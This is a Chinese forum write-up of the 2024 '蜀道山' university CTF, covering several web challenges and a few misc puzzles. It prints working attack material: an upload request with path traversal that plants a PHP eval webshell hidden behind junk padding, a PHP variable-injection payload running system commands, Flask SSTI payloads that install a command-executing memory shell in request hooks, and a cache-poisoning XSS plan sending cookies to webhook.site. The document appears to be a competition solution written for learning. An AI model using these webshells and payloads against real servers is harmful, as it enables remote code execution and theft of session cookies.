2024“蜀道山”高校联合公益赛web全解&&部分misc
1381606535199241 发表于 江西 CTF 766浏览 · 2024-11-18 04:56

web

奶龙牌WAF

下载源码:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $file = $_FILES['upload_file'];

    if ($file['error'] === UPLOAD_ERR_OK) {
        $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
        $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

        if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
            die("不允许上传此类文件!");
        }


        if ($file['size'] > 2 * 1024 * 1024) {
            die("文件大小超过限制!");
        }

        $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

        $dangerous_patterns = [
            '/<\?php/i',
            '/<\?=/',
            '/<\?xml/',
            '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
            '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
            '/--\s/',
            '/\/\*\s.*\*\//',
            '/#/',
            '/<script\b.*?>.*?<\/script>/is',
            '/javascript:/i',
            '/on\w+\s*=\s*["\'].*["\']/i',
            '/[\<\>\'\"\\\`\;\=]/',
            '/%[0-9a-fA-F]{2}/',
            '/&#[0-9]{1,5};/',
            '/&#x[0-9a-fA-F]+;/',
            '/system\(/i',
            '/exec\(/i',
            '/passthru\(/i',
            '/shell_exec\(/i',
            '/file_get_contents\(/i',
            '/fopen\(/i',
            '/file_put_contents\(/i',
            '/%u[0-9A-F]{4}/i',
            '/[^\x00-\x7F]/',
            // 检测路径穿越
            '/\.\.\//',
        ];


        foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("内容包含危险字符,上传被奶龙拦截!");
            }
        }

        $upload_dir = 'uploads/';
        if (!file_exists($upload_dir)) {
            mkdir($upload_dir, 0777, true);
        }

        $new_file_name = $upload_dir . $name;
        print($_FILES['upload_file']);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
            echo "文件上传成功!";
        } else {
            echo "文件保存失败!";
        }
    } else {
        echo "文件上传失败,错误代码:" . $file['error'];
    }
} else {
    ?>
    <!-- 文件上传表单 -->
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>文件上传</title>
        <style>
            body {
                font-family: Arial, sans-serif;
                background: url('background.jpeg') no-repeat center center fixed;
                background-size: cover;
                display: flex;
                justify-content: center;
                align-items: flex-start;
                height: 100vh;
                margin: 0;
            }
            .upload-container {
                background-color: rgba(214, 227, 49, 0.22);
                padding: 20px;
                border-radius: 10px;
                box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
                text-align: center;
                position: absolute;
                top: 10%; /* 调整这个值来控制表单距离顶部的高度 */
            }
            .upload-container h2 {
                color: #333;
                margin-bottom: 20px;
            }
            .file-input {
                display: none;
            }
            .custom-file-upload, .submit-btn {
                display: inline-block;
                padding: 10px 20px;
                border-radius: 5px;
                cursor: pointer;
                font-size: 16px;
            }
            .custom-file-upload {
                background-color: #ff0000;
                color: white;
                margin-right: 20px;
            }
            .custom-file-upload:hover {
                background-color: #b3002a;
            }
            .submit-btn {
                background-color: #28a745;
                color: white;
                border: none;
            }
            .submit-btn:hover {
                background-color: #218838;
            }
        </style>
    </head>
    <body>
    <div class="upload-container">
        <h2>你能逃出奶龙的WAF吗?</h2>
        <form action="" method="POST" enctype="multipart/form-data">
            <label for="upload_file" class="custom-file-upload">选择文件</label>
            <input type="file" name="upload_file" id="upload_file" class="file-input">
            <input type="submit" value="上传文件" class="submit-btn">
        </form>
    </div>
    <script>
        document.querySelector('.custom-file-upload').addEventListener('click', function() {
            document.getElementById('upload_file').click();
        });
    </script>
    </body>
    </html>
    <?php
}
?>

开局一个上传文件,发现跟源鲁杯一道题目[Round 2] PHUPE很像,都是move_upload_file目录穿越覆盖文件,虽然源鲁是smarty模板注入,但是思路大差不多

想着继续源鲁的思路打,

payload:name=../index.php/.

结果一直替换不了index.php,猜测可能是权限问题。
直到翻到了从0CTF一道题看move_uploaded_file的一个细节问题-安全客 - 安全资讯平台

我们可以直接创建一个php文件,../1.php/.。

然后就是绕过内容过滤,发现可以脏字符绕过

POST /?name=../1.php/. HTTP/1.1
Host: 05b1e977.clsadp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27416762215801574412927020367
Content-Length: 103590
Origin: http://05b1e977.clsadp.com
Connection: close
Referer: http://05b1e977.clsadp.com/
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------27416762215801574412927020367
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: text/plain


1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111这里省略100000个字
<?php
show_source(__FILE__);
@eval($_POST['a']);
?>
-----------------------------27416762215801574412927020367--


海关警察训练平台

CVE-2019-20372

(CVE-2019-20372)Nginx error_page 请求走私漏洞 · Qingy文库

看到nginx/1.17.6,搜索以下发现有cve,http走私攻击,刚好适合题目描述

描述:
这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html

扫描目录

分析.DS_Store

al帮我修以下请求

恶意代码检测器

扫目录,扫到/.travis.yml

sudo: false

language: php

branches:
  only:
    - stable

cache:
  directories:
    - $HOME/.composer/cache

before_install:
  - composer self-update

install:
  - composer install --no-dev --no-interaction --ignore-platform-reqs
  - zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Core.zip .
  - composer require --update-no-dev --no-interaction "topthink/think-image:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-migration:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-captcha:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-mongo:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-worker:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-helper:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-queue:^1.0"
  - composer require --update-no-dev --no-interaction "topthink/think-angular:^1.0"
  - composer require --dev --update-no-dev --no-interaction "topthink/think-testing:^1.0"
  - zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Full.zip .

script:
  - php think unit

deploy:
  provider: releases
  api_key:
    secure: TSF6bnl2JYN72UQOORAJYL+CqIryP2gHVKt6grfveQ7d9rleAEoxlq6PWxbvTI4jZ5nrPpUcBUpWIJHNgVcs+bzLFtyh5THaLqm39uCgBbrW7M8rI26L8sBh/6nsdtGgdeQrO/cLu31QoTzbwuz1WfAVoCdCkOSZeXyT/CclH99qV6RYyQYqaD2wpRjrhA5O4fSsEkiPVuk0GaOogFlrQHx+C+lHnf6pa1KxEoN1A0UxxVfGX6K4y5g4WQDO5zT4bLeubkWOXK0G51XSvACDOZVIyLdjApaOFTwamPcD3S1tfvuxRWWvsCD5ljFvb2kSmx5BIBNwN80MzuBmrGIC27XLGOxyMerwKxB6DskNUO9PflKHDPI61DRq0FTy1fv70SFMSiAtUv9aJRT41NQh9iJJ0vC8dl+xcxrWIjU1GG6+l/ZcRqVx9V1VuGQsLKndGhja7SQ+X1slHl76fRq223sMOql7MFCd0vvvxVQ2V39CcFKao/LB1aPH3VhODDEyxwx6aXoTznvC/QPepgWsHOWQzKj9ftsgDbsNiyFlXL4cu8DWUty6rQy8zT2b4O8b1xjcwSUCsy+auEjBamzQkMJFNlZAIUrukL/NbUhQU37TAbwsFyz7X0E/u/VMle/nBCNAzgkMwAUjiHM6FqrKKBRWFbPrSIixjfjkCnrMEPw=
  file:
    - ThinkPHP_Core.zip
    - ThinkPHP_Full.zip
  skip_cleanup: true
  on:
    tags: true

扫到/.gitignore

/.idea
/.vscode
/vendor
*.log
.env

最后扫到了www.zip,难崩

在控制器下看到关键代码:

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        $code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
        if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {

            $attack_log_file = '/tmp/attack.log';

            if(file_exists($attack_log_file)) {
                file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
                require_once('/tmp/attack.log');
            } else {
                file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");
            }
            if(isset($attack_word)){
                echo '检测到危险代码: '.$attack_word.'!!!';
            } else{
                  echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
            }
        }else{
            $safe_log_file = '/tmp/safe.log';
            if(file_exists($safe_log_file)) {
                file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
                require_once('/tmp/safe.log');
            } else {
                file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");
            }
            if(isset($safe_word)){
                echo '未检测到危险代码,'.$safe_word.',非常安全';
            } else{
                  echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
            }
        }
    }
}

直接用拼接绕过。

payload:

code=${input(0)(input(1))}&0=system&1=cat /f*

my_site

下载源码:

from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, g
from utils import rot13, key
import sqlite3

app = Flask(__name__)
app.secret_key = 'your_secret_key'
app.config['DATABASE'] = 'database.db'

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(app.config['DATABASE'])
    return db

@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, '_database', None)
    if db is not None:
        db.close()

@app.route('/')
def home():
    return render_template('home.html')

@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
    if request.method == 'POST':
        action = request.form['action']
        text = request.form['text']

        if action == 'encrypt':
            encrypted_text = rot13(text)
            return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))


        elif action == 'decrypt':
            text = request.form['text']
            decrypted_text = rot13(text)
            if key(decrypted_text):
                template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
                try:
                    render_template_string(template)
                except Exception as e:
                    abort(404)
                # return "既然你是黑阔,那我凭什么给你回显"
                return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

            else:
                return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
                template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
                return render_template_string(template)

    return render_template('index.html')

@app.route('/rot13_result/<action>/<result>')
def rot13_result(action, result):
    return render_template('rot13_result.html', action=action, result=result)

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        db = get_db()
        cursor = db.cursor()
        cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
        user = cursor.fetchone()
        if user:
            session['username'] = username
            return redirect(url_for('message_board'))
        else:
            flash('Invalid username or password')
    return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        db = get_db()
        cursor = db.cursor()
        try:
            cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
            db.commit()
            flash('Registration successful! Please log in.')
            return redirect(url_for('login'))
        except sqlite3.IntegrityError:
            flash('Username already exists!')
    return render_template('register.html')

@app.route('/message_board', methods=['GET', 'POST'])
def message_board():
    if 'username' not in session:
        return redirect(url_for('login'))

    db = get_db()
    cursor = db.cursor()

    if request.method == 'POST':
        message = request.form['message']
        cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)", (session['username'], message))
        db.commit()

    cursor.execute("SELECT username, message FROM messages")
    messages = cursor.fetchall()

    return render_template('message_board.html', messages=messages)

@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('home'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

看到了经典的render_template_string(template)导致的ssti漏洞,但是审计源码发现不给回显,所以可以通过ssti任意命令执行打flask内存马。

关键代码:

elif action == 'decrypt':
            text = request.form['text']
            decrypted_text = rot13(text)
            if key(decrypted_text):
                template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
                try:
                    render_template_string(template)
                except Exception as e:
                    abort(404)
                # return "既然你是黑阔,那我凭什么给你回显"
                return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

            else:
                return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
                template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
                return render_template_string(template)

    return render_template('index.html')

rot13 是一种简单的字母替换加密算法,它将字母表中的每个字母替换为其后13个位置的字母。由于字母表有26个字母,使用 rot13 加密的文本可以通过再次应用 rot13 解密回原文。

payload:

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

加密后:


{{hey_sbe.__tybonyf__['__ohvygvaf__']['riny']("ncc.nsgre_erdhrfg_shapf.frgqrsnhyg(Abar, []).nccraq(ynzoqn erfc: PzqErfc vs erdhrfg.netf.trg('pzq') naq rkrp(\"tybony PzqErfc;PzqErfc=__vzcbeg__(\'synfx\').znxr_erfcbafr(__vzcbeg__(\'bf\').cbcra(erdhrfg.netf.trg(\'pzq\')).ernq())\")==Abar ryfr erfc)",{'erdhrfg':hey_sbe.__tybonyf__['erdhrfg'],'ncc':hey_sbe.__tybonyf__['flf'].zbqhyrf['__znva__'].__qvpg__['ncc']})}}

发现打不了,被禁了。


借鉴了第一的wp,

()解码,发现进入到了if条件句

#这是第一名给的脚本,
 def rot13(text):
 result = ""
 for char in text:
 if char.isalpha():
 ascii_val = ord(char)
 if char.islower():
 rotated_val = ((ascii_val - 97) + 13) % 26 + 97
 else:
 rotated_val = ((ascii_val - 65) + 13) % 26 + 65
 result += chr(rotated_val)
 else:
 result += char
 return result
 print(rot13(text))
 text = """()}}{{url_for['__glob''als__']['__buil''tins__']['eval']
("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")"""
 # ()}}{{hey_sbe['__tybo''nyf__']['__ohvy''gvaf__']['riny']
("__vzcbeg__('flf').zbqhyrf['__znva__'].__qvpg__['ncc'].orsber_erdhrfg_shapf.frgqrsnhyg(Abar,[]).nccraq(ynzoqn :__vzcbeg__('bf').cbcra('png /synt').ernq())")

.before_request_funcs.setdefault(None,[])before_request_funcs 是 Flask 的一个特殊属性,表示在请求处理之前执行的函数列表。setdefault(None, []) 保证如果没有定义 None 键,它会创建一个空列表。通过修改这个列表,可以将一个新的函数添加到请求之前执行的函数队列中。

.append(lambda :__import__('os').popen('cat /flag').read())

  • lambda 定义了一个匿名函数,当 Flask 应用收到请求时,这个函数会被执行。
  • __import__('os') 动态导入 os 模块,这是 Python 用于与操作系统交互的标准库。
  • popen('cat /flag') 使用 os.popen() 执行命令行命令 cat /flag,读取 /flag 文件的内容。这个命令在许多 CTF(Capture The Flag)竞赛和漏洞演练中用于获取敏感信息。
  • read() 方法用于读取命令执行后的输出,即 /flag 文件的内容。


查看页面即可看到flag

XSS?

给了题目源码,但是像/src这样的关键文件夹没给,只给了相关的配置文件,那肯定就是考这里。

在nginx.conf中发现:

proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=cacache:10m max_size=1g inactive=60m use_temp_path=off;

    server {
        listen 80;

        location / {
            proxy_pass http://localhost:8081;
            proxy_set_header Host $host;
            proxy_redirect off;
        }

        location /static/ {
            proxy_set_header Host $host;
            proxy_pass http://localhost:8081;
            proxy_cache cacache;
            proxy_cache_valid 200 301 1m;
            proxy_cache_key "$scheme://$hostname$uri";
            add_header X-Cache $upstream_cache_status;
        }
    }

}

这段配置的功能是:当用户访问以 /static/ 开头的静态资源时,Nginx 会将请求代理到本地的 8081 端口,并启用缓存机制。缓存的有效期为 1 分钟,并且缓存的键是由请求的协议、主机名和路径组成的。此外,还会在响应头中添加 X-Cache 字段,指示缓存的状态。

分析:

我们注意到 $scheme://$hostname$uri, $uri , 他并不会包含 # 后面的内容, 所以我们可以通过 # 来污染缓存 在后端解析的时候, 他会拿出 # 后面的内容, 此时 # 被当做文件目录名的一部分 我们可以通过上传一个文件, 然后通过 GET /static/main.js#aaa/../../images/.js 来获取上传的文件

首先上传恶意js文件来准备打xss,

发送cooike到https://webhook.site

然后就是通过缓存机制来触发恶意js文件,下面是接下来的步骤

GET /images HTTP/1.1 
Host: _ 



GET /static/main.js#aaa/../../images/.js HTTP/1.1 
Host: _ 




POST /report/ HTTP/1.1 
Host: _

因为是0解题,所以发了wp,但是我一直没有复现成功,我还没看到有人复现成功了,环境太难打了。

ezruoyi(X)

题目描述:

简单的若依系统 by:Zer0n3

不会捏

misc

神奇的硬币纺纱机

题目描述:

神奇的硬币纺纱机会把白色和蛋黄融为一体,点击下方的链接和简历,获取一个获取一个


首先,根据规则,我们全输入1,发现在后面70几会直接结束游戏,仔细查看规则,只要我们一直输0不会掉币,游戏在50回合,币会加倍,所以我们到100币后,狂按0保证不掉币即可

Elemental Wars

题目描述:

异世界转生之我要在元素至上的五行世界获得FLAG


狂按2或者1.2.3来回让对面掉血,手速得flag

欢迎来到2024蜀道山CTF

关注公众号ZeroPointZero发送:劳资蜀道山2024 获取你的flag吧!!
0 条评论
某人
表情
可输入 255